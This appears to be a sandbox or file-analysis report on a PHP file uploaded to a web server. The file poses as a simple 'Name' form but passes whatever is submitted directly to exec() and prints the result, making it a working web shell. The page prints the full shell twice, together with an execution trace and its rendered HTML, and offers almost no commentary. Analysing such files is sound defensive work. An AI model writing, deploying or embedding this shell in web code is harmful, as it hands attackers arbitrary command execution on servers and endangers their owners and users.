Jump to:
Screenshot
Attributes
Execution
<html>
<body>
<form method="post" action="<?php
echo $_SERVER['PHP_SELF'];
?>">
Name: <input type="text" name="fname">
<input type="submit">
</form>
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// collect value of input field
$command = $_POST['fname'];
if (empty($command)) {
echo "Name is empty";
} else {
$output = null;
$retval = null;
exec($command, $output, $retval);
print_r($output);
}
}
?>
</body>
</html>
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:01:33.513437]
1 0 1 0.000187 393528
1 3 0 0.000256 395944 {main} 1 /var/www/html/uploads/command.php 0 0
1 3 1 0.000275 395944
0.000303 314240
TRACE END [2023-02-12 21:01:33.513588]
<html><head></head><body>
<form method="post" action="/command.php">
Name: <input type="text" name="fname">
<input type="submit">
</form>
</body></html>
<html>
<body>
<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
Name: <input type="text" name="fname">
<input type="submit">
</form>
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// collect value of input field
$command = $_POST['fname'];
if (empty($command)) {
echo "Name is empty";
} else {
$output=null;
$retval=null;
exec($command, $output, $retval);
print_r($output);
}
}
?>
</body>
</html>